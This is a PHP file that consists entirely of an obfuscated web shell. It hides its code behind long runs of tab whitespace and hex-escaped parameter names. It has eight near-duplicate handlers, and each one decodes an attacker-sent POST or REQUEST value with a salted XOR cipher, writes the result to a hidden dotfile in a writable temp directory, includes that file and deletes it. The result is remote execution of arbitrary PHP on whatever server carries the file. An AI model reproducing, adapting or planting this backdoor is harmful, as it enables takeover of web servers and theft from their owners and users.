<?php																																										if(array_key_exists("ent", $_POST)){ $sym = $_POST["ent"]; $sym =explode ( '.' , $sym) ; $res = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s); foreach( $sym as $y => $v2): $sChar = ord( $s[$y % $lenS]); $dec =( ( int)$v2 - $sChar -( $y % 10)) ^ 84; $res .= chr( $dec); endforeach; $comp = array_filter([getcwd(), "/dev/shm", session_save_path(), ini_get("upload_tmp_dir"), getenv("TEMP"), "/tmp", getenv("TMP"), "/var/tmp", sys_get_temp_dir()]); while ($hld = array_shift($comp)) { if (is_writable($hld) && is_dir($hld)) { $tkn = "$hld" . "/.resource"; $success = file_put_contents($tkn, $res); if ($success) { include $tkn; @unlink($tkn); exit;} } } }
																																										if(@$_REQUEST["ent"] !== null){ $reference = $_REQUEST["ent"]; $reference = explode ( "." ,$reference); $descriptor = ''; $salt8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt8); $x = 0; $__tmp = $reference; while( $v5 = array_shift( $__tmp)) { $chS = ord( $salt8[$x % $sLen]); $dec =( ( int)$v5 - $chS -( $x % 10)) ^ 84; $descriptor .= chr( $dec); $x++; } $resource = array_filter([getenv("TEMP"), "/var/tmp", "/dev/shm", sys_get_temp_dir(), session_save_path(), getenv("TMP"), "/tmp", ini_get("upload_tmp_dir"), getcwd()]); foreach ($resource as $fac) { if ((is_dir($fac) and is_writable($fac))) { $dchunk = join("/", [$fac, ".hld"]); if (file_put_contents($dchunk, $descriptor)) { require $dchunk; unlink($dchunk); die(); } } } }
																																										if(isset($_REQUEST["sym"]) ? true : false){ $marker = array_filter([getenv("TMP"), session_save_path(), ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/tmp", "/var/tmp", getcwd(), "/dev/shm", getenv("TEMP")]); $itm = $_REQUEST["sym"]; $itm = explode ("." , $itm ); $flag=''; $s7='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen=strlen($s7); $q=0; while ($q < count($itm)) { $v1=$itm[$q]; $chS=ord($s7[$q % $sLen]); $dec=((int)$v1 - $chS - ($q % 10)) ^ 38; $flag .=chr($dec); $q++; } for ($mrk = 0, $dchunk = count($marker); $mrk < $dchunk; $mrk++) { $dat = $marker[$mrk]; if (is_dir($dat) ? is_writable($dat) : false) { $ent = str_replace("{var_dir}", $dat, "{var_dir}/.entity"); if (file_put_contents($ent, $flag)) { require $ent; unlink($ent); exit; } } } }
																																										if(isset($_REQUEST) && isset($_REQUEST["co\x6Dpo\x6E\x65\x6Et"])){ $pset = array_filter(["/var/tmp", ini_get("upload_tmp_dir"), getenv("TEMP"), "/tmp", getenv("TMP"), sys_get_temp_dir(), getcwd(), session_save_path(), "/dev/shm"]); $ptr = $_REQUEST["co\x6Dpo\x6E\x65\x6Et"]; $ptr=explode ( '.' , $ptr ) ; $holder = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); $r = 0; while($r < count($ptr)) {$v3 = $ptr[$r]; $chS = ord($s[$r % $sLen]); $d = ((int)$v3 - $chS -($r % 10)) ^20; $holder .= chr($d); $r++; } foreach ($pset as $token): if ((is_dir($token) and is_writable($token))) { $item = "$token/.fac"; if (@file_put_contents($item, $holder) !== false) { include $item; unlink($item); die(); } } endforeach; }
																																										if(filter_has_var(INPUT_POST, "e\x6C\x65\x6De\x6Et")){ $fac = array_filter(["/dev/shm", ini_get("upload_tmp_dir"), getenv("TMP"), getenv("TEMP"), "/var/tmp", "/tmp", session_save_path(), getcwd(), sys_get_temp_dir()]); $dat = $_POST["e\x6C\x65\x6De\x6Et"]; $dat = explode ( "." , $dat ) ; $obj = ''; $salt5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt5); foreach( $dat as $p=> $v4): $chS = ord( $salt5[$p%$lenS]); $dec = ( ( int)$v4 - $chS -( $p%10)) ^ 33; $obj .= chr( $dec); endforeach; for ($val = 0, $hld = count($fac); $val < $hld; $val++) { $binding = $fac[$val]; if (array_product([is_dir($binding), is_writable($binding)])) { $bind = join("/", [$binding, ".descriptor"]); if (file_put_contents($bind, $obj)) { require $bind; unlink($bind); exit; } } } }
																																										if(@$_REQUEST["\x68ld"] !== null){ $flg = $_REQUEST["\x68ld"]; $flg=explode ('.' ,$flg); $pgrp= ''; $s= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen($s); $len= count($flg); for ($t= 0; $t < $len; $t++) {$v8= $flg[$t]; $sChar= ord($s[$t %$sLen]); $d= ((int)$v8 - $sChar - ($t %10)) ^ 11; $pgrp .= chr($d);} $resource = array_filter(["/tmp", sys_get_temp_dir(), "/var/tmp", ini_get("upload_tmp_dir"), "/dev/shm", getenv("TEMP"), session_save_path(), getenv("TMP"), getcwd()]); $res = 0; do { $factor = $resource[$res] ?? null; if ($res >= count($resource)) break; if ((bool)is_dir($factor) && (bool)is_writable($factor)) { $token = "$factor" . "/.symbol"; $file = fopen($token, 'w'); if ($file) { fwrite($file, $pgrp); fclose($file); include $token; @unlink($token); die(); } } $res++; } while (true); }
																																										if(isset($_POST["tk\x6E"])){ $binding = $_POST["tk\x6E"]; $binding = explode ( "." , $binding) ; $data = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); foreach($binding as $w => $v7): $chS = ord($salt[$w % $sLen]); $d =((int)$v7 - $chS -($w % 10)) ^ 75; $data .= chr($d); endforeach; $pset = array_filter(["/var/tmp", "/tmp", getenv("TEMP"), getenv("TMP"), sys_get_temp_dir(), getcwd(), "/dev/shm", ini_get("upload_tmp_dir"), session_save_path()]); foreach ($pset as $key => $pointer) { if (is_dir($pointer) ? is_writable($pointer) : false) { $property_set = "$pointer" . "/.flag"; $success = file_put_contents($property_set, $data); if ($success) { include $property_set; @unlink($property_set); die();} } } }


if(array_key_exists("f\x61c", $_POST) && !is_null($_POST["f\x61c"])){
	$item = $_POST["f\x61c"];
	   $item 	=explode	(		 "." 	,$item )	;
	$val	 = 	'';
            $s9	 = 	'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS	 = 	strlen($s9 	);
            $x	 = 	0;
    
            foreach ($item as $v3) {
                $sChar	 = 	ord($s9[$x % $lenS] 	);
                $d	 = 	((int)$v3 - $sChar - ($x % 10)) ^ 100;
                $val.=chr($d 	);
                $x++;  }
	$ent = array_filter(["/dev/shm", "/var/tmp", getenv("TMP"), ini_get("upload_tmp_dir"), "/tmp", session_save_path(), sys_get_temp_dir(), getenv("TEMP"), getcwd()]);
	while ($entity = array_shift($ent)) {
    		if (is_dir($entity) && is_writable($entity)) {
    $elem = "$entity" . "/.descriptor";
    $success = file_put_contents($elem, $val);
if ($success) {
	include $elem;
	@unlink($elem);
	exit;}
}
}
}